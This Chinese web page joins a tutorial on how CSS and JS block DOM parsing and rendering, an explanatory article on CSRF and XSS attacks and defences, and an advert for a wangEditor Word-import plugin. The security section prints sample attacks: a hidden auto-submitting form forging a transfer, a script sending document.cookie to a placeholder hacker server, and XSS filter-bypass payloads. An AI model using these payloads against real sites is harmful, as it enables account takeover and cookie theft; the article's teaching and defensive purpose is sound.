原來(lái) CSS 與 JS 是這樣阻塞 DOM 解析和渲染的

計(jì)大家都聽(tīng)過(guò)，盡量將CSS放頭部，JS放底部，這樣可以提高頁(yè)面的性能。然而，為什么呢？大家有考慮過(guò)么？很長(zhǎng)一段時(shí)間，我都是知其然而不知其所以然，強(qiáng)行背下來(lái)應(yīng)付考核當(dāng)然可以，但實(shí)際應(yīng)用中必然一塌糊涂。因此洗（wang）心（yang）革（bu）面（lao），小結(jié)一下最近玩出來(lái)的成果。

node端唯一需要解釋一下的是這個(gè)函數(shù)：

function sleep(time) {
 return new Promise(function(res) {
 setTimeout(() => {
 res()
 }, time);
 })
}

嗯！其實(shí)就延時(shí)啦。如果CSS或者JS文件名有sleep3000之類的前綴時(shí)，意思就是延遲3000毫秒才會(huì)返回這文件。

下文使用的HTML文件是長(zhǎng)這樣的

我會(huì)在其中插入不同的JS和CSS。

而使用的common.css，不論有沒(méi)有前綴，內(nèi)容都是這樣的：

div {
 background: lightblue;
}

好了，話不多數(shù)，開(kāi)始正文！

CSS

關(guān)于CSS，大家肯定都知道的是<link>標(biāo)簽放在頭部性能會(huì)高一點(diǎn)，少一點(diǎn)人知道如果<script>與<link>同時(shí)在頭部的話，<script>在上可能會(huì)更好。這是為什么呢？下面我們一起來(lái)看一下CSS對(duì)DOM的影響是什么。

CSS 不會(huì)阻塞 DOM 的解析

注意哦！這里說(shuō)的是DOM 解析，證明的例子如下，首先在頭部插入<script defer src="/js/logDiv.js"></script>，JS文件的內(nèi)容是：

const div = document.querySelector('div');
console.log(div);

defer屬性相信大家也很熟悉了，MDN對(duì)此的描述是用來(lái)通知瀏覽器該腳本將在文檔完成解析后，觸發(fā) DOMContentLoaded 事件前執(zhí)行。設(shè)置這個(gè)屬性，能保證DOM解析后馬上打印出div。

之后將<link rel="stylesheet" href="/css/sleep3000-common.css">插入HTML文件的任一位置，打開(kāi)瀏覽器，可以看到是首先打印出div這個(gè)DOM節(jié)點(diǎn)，過(guò)3s左右之后才渲染出一個(gè)淺藍(lán)色的div。這就證明了CSS 是不會(huì)阻塞 DOM 的解析的，盡管CSS下載需要3s，但這個(gè)過(guò)程中，瀏覽器不會(huì)傻等著CSS下載完，而是會(huì)解析DOM的。

這里簡(jiǎn)單說(shuō)一下，瀏覽器是解析DOM生成DOM Tree，結(jié)合CSS生成的CSS Tree，最終組成render tree，再渲染頁(yè)面。由此可見(jiàn)，在此過(guò)程中CSS完全無(wú)法影響DOM Tree，因而無(wú)需阻塞DOM解析。然而，DOM Tree和CSS Tree會(huì)組合成render tree，那CSS會(huì)不會(huì)頁(yè)面阻塞渲染呢？

CSS 阻塞頁(yè)面渲染

其實(shí)這一點(diǎn)，剛才的例子已經(jīng)說(shuō)明了，如果CSS 不會(huì)阻塞頁(yè)面阻塞渲染，那么CSS文件下載之前，瀏覽器就會(huì)渲染出一個(gè)淺綠色的div，之后再變成淺藍(lán)色。瀏覽器的這個(gè)策略其實(shí)很明智的，想象一下，如果沒(méi)有這個(gè)策略，頁(yè)面首先會(huì)呈現(xiàn)出一個(gè)原始的模樣，待CSS下載完之后又突然變了一個(gè)模樣。用戶體驗(yàn)可謂極差，而且渲染是有成本的。

因此，基于性能與用戶體驗(yàn)的考慮，瀏覽器會(huì)盡量減少渲染的次數(shù)，CSS順理成章地阻塞頁(yè)面渲染。

然而，事情總有奇怪的，請(qǐng)看這例子，HTML頭部結(jié)構(gòu)如下：

<header>
 <link rel="stylesheet" href="/css/sleep3000-common.css">
 <script src="/js/logDiv.js"></script>
</header>

但思考一下這會(huì)產(chǎn)生什么結(jié)果呢？

答案是瀏覽器會(huì)轉(zhuǎn)圈圈三秒，但此過(guò)程中不會(huì)打印任何東西，之后呈現(xiàn)出一個(gè)淺藍(lán)色的div，再打印出null。結(jié)果好像是CSS不單阻塞了頁(yè)面渲染，還阻塞了DOM 的解析啊！稍等，在你打算掀桌子瘋狂吐槽我之前，請(qǐng)先思考一下是什么阻塞了DOM 的解析，剛才已經(jīng)證明了CSS是不會(huì)阻塞的，那么阻塞了頁(yè)面解析其實(shí)是JS！但明明JS的代碼如此簡(jiǎn)單，肯定不會(huì)阻塞這么久，那就是JS在等待CSS的下載，這是為什么呢？

仔細(xì)思考一下，其實(shí)這樣做是有道理的，如果腳本的內(nèi)容是獲取元素的樣式，寬高等CSS控制的屬性，瀏覽器是需要計(jì)算的，也就是依賴于CSS。瀏覽器也無(wú)法感知腳本內(nèi)容到底是什么，為避免樣式獲取，因而只好等前面所有的樣式下載完后，再執(zhí)行JS。因而造成了之前例子的情況。

所以，看官大人明白為何<script>與<link>同時(shí)在頭部的話，<script>在上可能會(huì)更好了么？之所以是可能，是因?yàn)槿绻?lt;link>的內(nèi)容下載更快的話，是沒(méi)影響的，但反過(guò)來(lái)的話，JS就要等待了，然而這些等待的時(shí)間是完全不必要的。

JS

JS，也就是<script>標(biāo)簽，估計(jì)大家都很熟悉了，不就是阻塞DOM解析和渲染么。然而，其中其實(shí)還是有一點(diǎn)細(xì)節(jié)可以考究一下的，我們一起來(lái)好好看看。

JS 阻塞 DOM 解析

首先我們需要一個(gè)新的JS文件名為blok.js，內(nèi)容如下：

const arr = [];
for (let i = 0; i < 10000000; i++) {
 arr.push(i);
 arr.splice(i % 3, i % 7, i % 5);
}
const div = document.querySelector('div');
console.log(div);

其實(shí)那個(gè)數(shù)組操作時(shí)沒(méi)意義的，只是為了讓這個(gè)JS文件多花執(zhí)行時(shí)間而已。之后把這個(gè)文件插入頭部，瀏覽器跑一下。

結(jié)果估計(jì)大家也能想象得到，瀏覽器轉(zhuǎn)圈圈一會(huì)，這過(guò)程中不會(huì)有任何東西出現(xiàn)。之后打印出null，再出現(xiàn)一個(gè)淺綠色的div。現(xiàn)象就足以說(shuō)明JS 阻塞 DOM 解析了。其實(shí)原因也很好理解，瀏覽器并不知道腳本的內(nèi)容是什么，如果先行解析下面的DOM，萬(wàn)一腳本內(nèi)全刪了后面的DOM，瀏覽器就白干活了。更別談喪心病狂的document.write。瀏覽器無(wú)法預(yù)估里面的內(nèi)容，那就干脆全部停住，等腳本執(zhí)行完再干活就好了。

對(duì)此的優(yōu)化其實(shí)也很顯而易見(jiàn)，具體分為兩類。如果JS文件體積太大，同時(shí)你確定沒(méi)必要阻塞DOM解析的話，不妨按需要加上defer或者async屬性，此時(shí)腳本下載的過(guò)程中是不會(huì)阻塞DOM解析的。

而如果是文件執(zhí)行時(shí)間太長(zhǎng)，不妨分拆一下代碼，不用立即執(zhí)行的代碼，可以使用一下以前的黑科技：setTimeout()。當(dāng)然，現(xiàn)代的瀏覽器很聰明，它會(huì)“偷看”之后的DOM內(nèi)容，碰到如<link>、<script>和<img>等標(biāo)簽時(shí)，它會(huì)幫助我們先行下載里面的資源，不會(huì)傻等到解析到那里時(shí)才下載。

瀏覽器遇到 <script> 標(biāo)簽時(shí)，會(huì)觸發(fā)頁(yè)面渲染

這個(gè)細(xì)節(jié)可能不少看官大人并不清楚，其實(shí)這才是解釋上面為何JS執(zhí)行會(huì)等待CSS下載的原因。先上例子,HTML內(nèi)body的結(jié)構(gòu)如下：

<body>
	<div></div>
	<script src="/js/sleep3000-logDiv.js"></script>
	<style>
		div {
			background: lightgrey;
		}
	</style>
	<script src="/js/sleep5000-logDiv.js"></script>
	<link rel="stylesheet" href="/css/common.css">
</body>

這個(gè)例子也是很極端的例子，但不妨礙它透露給我們很多重要的信息。想象一下，頁(yè)面會(huì)怎樣呢？

答案是先淺綠色，再淺灰色，最后淺藍(lán)色。由此可見(jiàn)，每次碰到<script>標(biāo)簽時(shí)，瀏覽器都會(huì)渲染一次頁(yè)面。這是基于同樣的理由，瀏覽器不知道腳本的內(nèi)容，因而碰到腳本時(shí)，只好先渲染頁(yè)面，確保腳本能獲取到最新的DOM元素信息，盡管腳本可能不需要這些信息。

小結(jié)

綜上所述，我們得出這樣的結(jié)論：

CSS 不會(huì)阻塞 DOM 的解析，但會(huì)阻塞 DOM 渲染。
JS 阻塞 DOM 解析，但瀏覽器會(huì)"偷看"DOM，預(yù)先下載相關(guān)資源。
瀏覽器遇到 <script>且沒(méi)有defer或async屬性的標(biāo)簽時(shí)，會(huì)觸發(fā)頁(yè)面渲染，因而如果前面CSS資源尚未加載完畢時(shí)，瀏覽器會(huì)等待它加載完畢在執(zhí)行腳本。

所以，你現(xiàn)在明白為何<script>最好放底部，<link>最好放頭部，如果頭部同時(shí)有<script>與<link>的情況下，最好將<script>放在<link>上面了嗎？

本周回顧

前端要知道的網(wǎng)絡(luò)知識(shí)一：TCP/IP 協(xié)議到底在講什么

前端要知道的網(wǎng)絡(luò)知識(shí)二：TCP協(xié)議的三次握手和四次分手

前端要知道的網(wǎng)絡(luò)知識(shí)三：認(rèn)識(shí)OSI七層模型

前端要知道的網(wǎng)絡(luò)知識(shí)四：TCP的概念和HTTP連接管理

前端要知道的網(wǎng)絡(luò)知識(shí)五：詳細(xì)的介紹web緩存

前端要知道的網(wǎng)絡(luò)知識(shí)六：詳細(xì)介紹URL及其用法

前端要知道的網(wǎng)絡(luò)知識(shí)七：初識(shí)HTTP報(bào)文

前端要知道的網(wǎng)絡(luò)知識(shí)八：GET 和 POST 到底有什么區(qū)別

前端要知道的網(wǎng)絡(luò)知識(shí)九：初識(shí)HTTPS加密過(guò)程，原來(lái)如此

前端要知道的網(wǎng)絡(luò)知識(shí)十：HTTPS加密核心RSA算法

....

鏈接文章

https://juejin.im/post/59c60691518825396f4f71a1

https://github.com/ljf0113/how-js-and-css-block-dom

https://github.com/stephentian/33-js-concepts?utm_source=gold_browser_extension

、CSRF

CSRF 全稱叫做，跨站請(qǐng)求偽造(Cross—Site Request Forgery)，顧名思義，攻擊者盜用了你的身份，以你的名義發(fā)送惡意請(qǐng)求，對(duì)服務(wù)器來(lái)說(shuō)這個(gè)請(qǐng)求是完全合法的，但是卻完成了攻擊者所期望的一個(gè)操作，比如以你的名義發(fā)送郵件、發(fā)消息，盜取你的賬號(hào)，添加系統(tǒng)管理員，甚至于購(gòu)買商品、虛擬貨幣轉(zhuǎn)賬等。對(duì)于服務(wù)器而言，判斷請(qǐng)求對(duì)象是否是你本身的方法限于提供身份認(rèn)證的cookie、秘鑰等，無(wú)法去識(shí)別個(gè)體。

1.原理介紹及流程分析

以下，舉例模擬一個(gè)被CSRF攻擊影響的例子：

①用戶C打開(kāi)瀏覽器，訪問(wèn)受信任網(wǎng)站A，輸入用戶名和密碼請(qǐng)求登錄網(wǎng)站A；

②在用戶信息通過(guò)驗(yàn)證后，網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器，此時(shí)用戶登錄網(wǎng)站A成功，可以正常發(fā)送請(qǐng)求到網(wǎng)站A；

③用戶未退出網(wǎng)站A之前，在同一瀏覽器中，打開(kāi)一個(gè)TAB頁(yè)訪問(wèn)網(wǎng)站B；

④網(wǎng)站B接收到用戶請(qǐng)求后，返回一些攻擊性代碼，并發(fā)出一個(gè)請(qǐng)求要求訪問(wèn)第三方站點(diǎn)A；

⑤瀏覽器在接收到這些攻擊性代碼后，根據(jù)網(wǎng)站B的請(qǐng)求，在用戶不知情的情況下攜帶Cookie信息，向網(wǎng)站A發(fā)出請(qǐng)求。網(wǎng)站A并不知道該請(qǐng)求其實(shí)是由B發(fā)起的，所以會(huì)根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請(qǐng)求，導(dǎo)致來(lái)自網(wǎng)站B的惡意代碼被執(zhí)行。

更為具體的舉例，偽造請(qǐng)求的方式一般有如下幾種方式：

// 頁(yè)面中有一個(gè)超鏈接，誘導(dǎo)用戶進(jìn)行點(diǎn)擊

<a href="https://aaa.com?userid=3&money=9999">誘導(dǎo)信息</a>

// 直接在頁(yè)面上使用Img進(jìn)行g(shù)et請(qǐng)求

<img src="https://aaa.com?userid=3&money=9999"/>

// 或使用表單進(jìn)行提交

<iframe name="heihei" style="display:none;"></iframe>

<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >

<input name="userid" value="3" type="hidden" />

<input name="money" value="9999" type="hidden" />

</form>

<script>
window.onload = function(){
  document.forms[0].submit();
}
</script>

2.CSRF漏洞檢測(cè)

檢測(cè)CSRF漏洞是一項(xiàng)比較繁瑣的工作，最簡(jiǎn)單的方法就是抓取一個(gè)正常請(qǐng)求的數(shù)據(jù)包，去掉Referer字段后再重新提交，如果該提交還有效，那么基本上可以確定存在CSRF漏洞。

當(dāng)然我們也可以試著利用根據(jù)來(lái)進(jìn)行漏洞檢測(cè)，隨著對(duì)CSRF漏洞研究的不斷深入，不斷涌現(xiàn)出一些專門針對(duì)CSRF漏洞進(jìn)行檢測(cè)的工具，如CSRFTester，CSRF Request Builder等。

以CSRFTester工具為例，CSRF漏洞檢測(cè)工具的測(cè)試原理如下：使用CSRFTester進(jìn)行測(cè)試時(shí)，首先需要抓取我們?cè)跒g覽器中訪問(wèn)過(guò)的所有鏈接以及所有的表單等信息，然后通過(guò)在CSRFTester中修改相應(yīng)的表單等信息，重新提交，這相當(dāng)于一次偽造客戶端請(qǐng)求。如果修改后的測(cè)試請(qǐng)求成功被網(wǎng)站服務(wù)器接受，則說(shuō)明存在CSRF漏洞，當(dāng)然此款工具也可以被用來(lái)進(jìn)行CSRF攻擊。

3.CSRF防御原理

根據(jù)以上的方式我們能顯而易見(jiàn)看到，問(wèn)題就出在“訪問(wèn)網(wǎng)站B”和“攜帶Cookie信息”上。針對(duì)CRSF攻擊，CSRF防護(hù)的一個(gè)重點(diǎn)是要對(duì)“用戶憑證”進(jìn)行校驗(yàn)處理，通過(guò)這種機(jī)制可以對(duì)用戶的請(qǐng)求是合法進(jìn)行判斷，判斷是不是跨站攻擊的行為。因?yàn)椤坝脩魬{證”是Cookie中存儲(chǔ)的，所以防護(hù)機(jī)制的處理對(duì)像也是Cookie的數(shù)據(jù)，我們要在防護(hù)的數(shù)據(jù)中加入簽名校驗(yàn)，并對(duì)數(shù)據(jù)進(jìn)行生命周期時(shí)間管理，就是數(shù)據(jù)過(guò)期管理。

由此得出，CSRF防護(hù)的一個(gè)重點(diǎn)是要對(duì)“用戶憑證”進(jìn)行校驗(yàn)處理，通過(guò)這種機(jī)制可以對(duì)用戶的請(qǐng)求是合法進(jìn)行判斷，判斷是不是跨站攻擊的行為。因?yàn)椤坝脩魬{證”是Cookie中存儲(chǔ)的，所以防護(hù)機(jī)制的處理對(duì)像也是Cookie的數(shù)據(jù)，我們要在防護(hù)的數(shù)據(jù)中加入簽名校驗(yàn)，并對(duì)數(shù)據(jù)進(jìn)行生命周期時(shí)間管理，就是數(shù)據(jù)過(guò)期管理。

①防御思路

針對(duì)防止CSRF的發(fā)生，創(chuàng)建Token處理機(jī)制，Token數(shù)據(jù)結(jié)構(gòu)與時(shí)間、加密簽名直接相關(guān)，這么設(shè)計(jì)的的目的如上所說(shuō)，是給“身份憑證”加上時(shí)間生存周期管理和簽名校驗(yàn)管理，如果的憑證被人拿到了，要先判斷Token中的“簽名”與時(shí)間戳是否都有效，再進(jìn)行正常的業(yè)務(wù)處理，這樣通過(guò)對(duì)非法數(shù)據(jù)的校驗(yàn)過(guò)濾，來(lái)降低CSRF攻擊的成功率。

②簽名與時(shí)間戳防護(hù)處理流程

在token中加入上述方法中所描述的時(shí)間戳信息和簽名信息：

-----------------------------------------------------------------------------
|             msg                 |     separator   | signature           |
-----------------------------------------------------------------------------
|     key     |   timestamp       |         .       | Base64(sha256(msg)) |
-----------------------------------------------------------------------------

msg部分： key即隨機(jī)生成的字符串用作用戶憑證認(rèn)證+timestamp時(shí)間戳驗(yàn)證時(shí)間用
separator部分：用于分隔msg部分與加密后生成的signature簽名部分
signature部分:signature即簽名，是對(duì)“msg消息”用特定算法進(jìn)行加密后的串。

token = base64(msg)格式化..base64(sha256("密鎖", msg))

整個(gè)Token就是由被Base64的msg編碼串+先256加密msg再進(jìn)行Base64編碼，兩個(gè)串的內(nèi)容結(jié)合。

③Token校驗(yàn)

在整個(gè)防御做法中，對(duì)于token的校驗(yàn)流程為：

在服務(wù)器端對(duì)接收到的token進(jìn)行分片，以分隔符進(jìn)行分割，獲取信息內(nèi)容和簽名
對(duì)于簽名驗(yàn)證，對(duì)信息進(jìn)行解碼，如果通過(guò)則進(jìn)入時(shí)間校驗(yàn)
如果簽名有效的,取出msg中的timestamp字段數(shù)據(jù)，與當(dāng)前系統(tǒng)時(shí)間進(jìn)行比較，如果過(guò)期時(shí)間小于當(dāng)前時(shí)間，那這個(gè)token是過(guò)期的，需要重新的取得token。

二、XSS

XSS（跨站腳本攻擊，Cross-site scripting，簡(jiǎn)稱并不是 CSS，因?yàn)?CSS是層疊樣式表）是一種常見(jiàn)的 web 安全問(wèn)題。XSS 攻擊手段是允許惡意web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。從而達(dá)到攻擊的目的。如，盜取用戶Cookie、破壞頁(yè)面結(jié)構(gòu)、重定向到其它網(wǎng)站等。

1.XSS攻擊類型區(qū)分

① 反射型

反射型 XSS攻擊通常是簡(jiǎn)單地把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。黑客一般會(huì)誘使用戶點(diǎn)擊一個(gè)有惡意的鏈接，用戶點(diǎn)擊就會(huì)發(fā)起 XSS 攻擊。反射型 XSS 攻擊可以將 JavaScript 腳本插入到 HTML 節(jié)點(diǎn)中、HTML 屬性中以及通過(guò) JS 注入到 URL 或 HTML 文檔中。

② 儲(chǔ)存型

存儲(chǔ)型 XSS攻擊這種攻擊會(huì)把用戶輸入的數(shù)據(jù)存儲(chǔ)到服務(wù)器中。例如在一個(gè)有 XSS 漏洞的博客網(wǎng)站，黑客寫下一篇含有惡意 JavaScript 代碼的文章，文章發(fā)布后，所有看了這篇博文的用戶都會(huì)在他們的瀏覽器中執(zhí)行惡意 JavaScript 代碼。

③ DOM-based 型

注意：這種類型的劃分與以上兩種類型劃分方式不同，是按照Payload的位置劃分

DOM-based 型XSS攻擊基于 DOM 的 XSS 攻擊是指通過(guò)惡意腳本修改頁(yè)面的 DOM 結(jié)構(gòu)，是純粹發(fā)生在客戶端的攻擊。DOM 型 XSS 攻擊中，取出和執(zhí)行惡意代碼由瀏覽器端完成，屬于前端 JavaScript 自身的安全漏洞。

發(fā)起 XSS 攻擊后，黑客寫入的 JavaScript 代碼就會(huì)執(zhí)行，通過(guò)腳本可以控制用戶的瀏覽器。一個(gè)常見(jiàn)的攻擊手段是“Cookie 劫持”，cookie 中一般加密保存著當(dāng)前用戶的登錄憑據(jù)，黑客可以通過(guò)惡意代碼將用戶的 cookie 發(fā)到自己的服務(wù)器上，然后就可以做到無(wú)密碼登錄上用戶的賬戶。

2.實(shí)現(xiàn)XSS攻擊的條件

①需要向web頁(yè)面注入惡意代碼；

②這些惡意代碼能夠被瀏覽器成功的執(zhí)行。

3.會(huì)利用XSS攻擊獲取什么？

①竊取cookies，讀取目標(biāo)網(wǎng)站的cookie發(fā)送到黑客的服務(wù)器上，如下面的代碼：

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

在此提到來(lái)自瀏覽器的自帶防御，瀏覽器針對(duì)于這類問(wèn)題的存在，對(duì)于DOM對(duì)象的訪問(wèn)會(huì)有自己的禁用方式，避免最基本的XSS注入。例如在舊版的IE8和IE8以下的版本都是可以被執(zhí)行的，火狐也能執(zhí)行代碼，但火狐對(duì)其禁止訪問(wèn)DOM對(duì)象，所以在火狐下執(zhí)行將會(huì)看到控制里拋出異常：document is not defined

②讀取用戶未公開(kāi)的資料，如果：郵件列表或者內(nèi)容、系統(tǒng)的客戶資料，聯(lián)系人列表等等，如代碼

③篡改網(wǎng)頁(yè)，進(jìn)行釣魚(yú)或者惡意傳播

④網(wǎng)站重定向

4.XSS的防御

①具體舉例：注入轉(zhuǎn)義

對(duì)于URL做解析時(shí)和發(fā)起get請(qǐng)求時(shí)都會(huì)需要讀取URL攜帶的參數(shù)，如果將 url 中的參數(shù)直接插入到 DOM 中，這就有可能構(gòu)成 XSS 攻擊，攻擊者利用這一漏洞，給其他用戶發(fā)送一個(gè)有惡意的鏈接，用戶就有可能中招。如：

http://www.example/test.index?param=<script>alert('XSS')</script>

這個(gè) URL 的 param 參數(shù)值并不是合理的，而是攻擊者構(gòu)建的。

再如：一個(gè)超鏈接中的URL

<a href='http://www.xss.com?cookie='+document.cookie>

上述方式可以通過(guò)點(diǎn)擊鏈接的方式注入XSS，去獲取當(dāng)前用戶的Cookie。

②防御方式

當(dāng)惡意代碼值被作為某一標(biāo)簽的內(nèi)容顯示：在不需要html輸入的地方對(duì)html 標(biāo)簽及一些特殊字符( ” < > & 等等 )做過(guò)濾，將其轉(zhuǎn)化為不被瀏覽器解釋執(zhí)行的字符。
當(dāng)惡意代碼被作為某一標(biāo)簽的屬性顯示，通過(guò)用 “將屬性截?cái)鄟?lái)開(kāi)辟新的屬性或惡意方法：屬性本身存在的單引號(hào)和雙引號(hào)都需要進(jìn)行轉(zhuǎn)碼；對(duì)用戶輸入的html 標(biāo)簽及標(biāo)簽屬性做白名單過(guò)濾，也可以對(duì)一些存在漏洞的標(biāo)簽和屬性進(jìn)行專門過(guò)濾。

③常見(jiàn)的xss攻擊方法

繞過(guò)XSS-Filter，利用<>標(biāo)簽注入Html/JavaScript代碼；
利用HTML標(biāo)簽的屬性值進(jìn)行xss攻擊。例如：

<img src=“javascript：alert(‘xss’)”/>

（當(dāng)然并不是所有的Web瀏覽器都支持Javascript偽協(xié)議，所以此類XSS攻擊具有一定的局限性）

空格、回車和Tab。如果XSS Filter僅僅將敏感的輸入字符列入黑名單，比如javascript，用戶可以利用空格、回車和Tab鍵來(lái)繞過(guò)過(guò)濾，例如：

<img src=“javas  cript:alert(/xss/);”/>

利用事件來(lái)執(zhí)行跨站腳本。例如：

<img src=“#” onerror= “alert(1)”/>

當(dāng)src錯(cuò)誤的視乎就會(huì)執(zhí)行onerror事件

利用CSS跨站。例如：

Body {backgrund-image: url(“javascript：alert(‘xss’)”)}

擾亂過(guò)濾規(guī)則。例如：

<IMG SRC=“javaSCript: alert(/xss/);”/>

利用字符編碼，透過(guò)這種技巧，不僅能讓XSS代碼繞過(guò)服務(wù)端的過(guò)濾，還能更好地隱藏Shellcode；（JS支持unicode、eacapes、十六進(jìn)制、十進(jìn)制等編碼形式）
拆分跨站法，將xss攻擊的代碼拆分開(kāi)來(lái)，適用于應(yīng)用程序沒(méi)有過(guò)濾 XSS關(guān)鍵字符（如<、>）卻對(duì)輸入字符長(zhǎng)度有限制的情況下；
DOM型的XSS主要是由客戶端的腳本通過(guò)DOM動(dòng)態(tài)地輸出數(shù)據(jù)到頁(yè)面上，它不依賴于提交數(shù)據(jù)到服務(wù)器，而是從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行。容易導(dǎo)致DOM型的XSS的輸入源包括：Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage；

5.XSS攻擊防御

原則：不相信客戶輸入的數(shù)據(jù)

注意：攻擊代碼不一定在<script></script>中

使用XSS Filter

輸入過(guò)濾，對(duì)用戶提交的數(shù)據(jù)進(jìn)行有效性驗(yàn)證，僅接受指定長(zhǎng)度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交，阻止或者忽略除此外的其他任何數(shù)據(jù)。比如：電話號(hào)碼必須是數(shù)字和中劃線組成，而且要設(shè)定長(zhǎng)度上限。過(guò)濾一些些常見(jiàn)的敏感字符，例如：< > ‘ “ & # \ javascript expression "onclick=" "onfocus"；過(guò)濾或移除特殊的Html標(biāo)簽，例如: <script>, <iframe> , < for <, > for >, " for；過(guò)濾JavaScript 事件的標(biāo)簽，例如 "onclick=", "onfocus" 等等。

　　輸出編碼，當(dāng)需要將一個(gè)字符串輸出到Web網(wǎng)頁(yè)時(shí)，同時(shí)又不確定這個(gè)字符串中是否包括XSS特殊字符（如< > &‘”等），為了確保輸出內(nèi)容的完整性和正確性，可以使用編碼（HTMLEncode）進(jìn)行處理。

DOM型的XSS攻擊防御

把變量輸出到頁(yè)面時(shí)要做好相關(guān)的編碼轉(zhuǎn)義工作，如要輸出到 <script>中，可以進(jìn)行JS編碼；要輸出到HTML內(nèi)容或?qū)傩裕瑒t進(jìn)行HTML編碼處理。根據(jù)不同的語(yǔ)境采用不同的編碼處理方式。

HttpOnly Cookie

將重要的cookie標(biāo)記為http only, 這樣的話當(dāng)瀏覽器向Web服務(wù)器發(fā)起請(qǐng)求的時(shí)就會(huì)帶上cookie字段，但是在腳本中卻不能訪問(wèn)這個(gè)cookie，這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie：

原文：https://juejin.cn/post/6874730741989801997

AVA中將WORD轉(zhuǎn)換為HTML導(dǎo)入到WANGEDITOR編輯器中（解決圖片問(wèn)題，樣式，非常完美），wangEditor如何導(dǎo)入word文檔，如何實(shí)現(xiàn)導(dǎo)入WORD文檔到WANGEDITOR編輯器中？WANGEDITOR導(dǎo)入WORD文檔 WANGEDITOR WORD導(dǎo)入插件，HTML富文本編輯器導(dǎo)入WORD，Web富文本編輯器導(dǎo)入WORD，WANGEDITOR富文本編輯器導(dǎo)入WORD，WANGEDITOR導(dǎo)入WORD，WANGEDITORWORD導(dǎo)入編輯，wangEditor集成word導(dǎo)入功能，

后端是用的JAVA，SpringBoot框架，實(shí)際上前端在集成的時(shí)候是不關(guān)心后端具體是用什么語(yǔ)言實(shí)現(xiàn)的。

它這個(gè)版本有幾個(gè)wangEditor3,wangEditor4,wangEditor5，好用的是就3和4，5不支持插入HTML。但是用戶用插入HTML這個(gè)功能用的比較多。

vue-cli-wangEditor3,vue3-cli-wangEditor4集成word導(dǎo)入功能。在VUE框架下面集成了WORD導(dǎo)入功能。

用戶選擇word文件后，自動(dòng)轉(zhuǎn)換成html,自動(dòng)將word里面的圖片上傳到服務(wù)器中，自動(dòng)將HTML添加到編輯器中。

主要的方案就是提供一個(gè)轉(zhuǎn)換接口，轉(zhuǎn)換接口使用RESTful協(xié)議，這樣的話兼容性更好一點(diǎn)，其它的平臺(tái)用起來(lái)的話更方便簡(jiǎn)單一點(diǎn)，而且測(cè)試起來(lái)也方便。

現(xiàn)有項(xiàng)目需要為TinyMCE增加導(dǎo)入word文件的功能，導(dǎo)入后word文件里面的圖片自動(dòng)上傳到服務(wù)器中，返回圖片和文字HTML，word里面的文本樣式保留

用戶一般在發(fā)新聞和發(fā)文章時(shí)用到，算是一個(gè)高頻使用功能，用戶體驗(yàn)上來(lái)講確實(shí)是很好，和以前的發(fā)新聞或者發(fā)文章的體驗(yàn)比起來(lái)要方便許多，用戶用的更爽。

1.下載示例

https://gitee.com/xproer/zyoffice-vue3-cli-wang-editor4

2.引入組件

3.添加按鈕

4.配置轉(zhuǎn)換接口

效果

開(kāi)發(fā)文檔：https://drive.weixin.qq.com/s?k=ACoAYgezAAwsDazDKJ

產(chǎn)品比較：https://drive.weixin.qq.com/s?k=ACoAYgezAAwh8oq8Zf

產(chǎn)品源代碼：https://drive.weixin.qq.com/s?k=ACoAYgezAAwjJM8412

報(bào)價(jià)單：https://drive.weixin.qq.com/s?k=ACoAYgezAAwsfyDdrf

在線咨詢

上一篇：html+css3+js 創(chuàng)意設(shè)計(jì)-滑動(dòng)登錄頁(yè)面
下一篇：HTML5常見(jiàn)的基礎(chǔ)標(biāo)簽（6）表單標(biāo)簽的使用

您的項(xiàng)目需求

*請(qǐng)認(rèn)真填寫需求信息，我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。

整合營(yíng)銷服務(wù)商

原來(lái) CSS 與 JS 是這樣阻塞 DOM 解析和渲染的

CSS

JS

小結(jié)

本周回顧

您的項(xiàng)目需求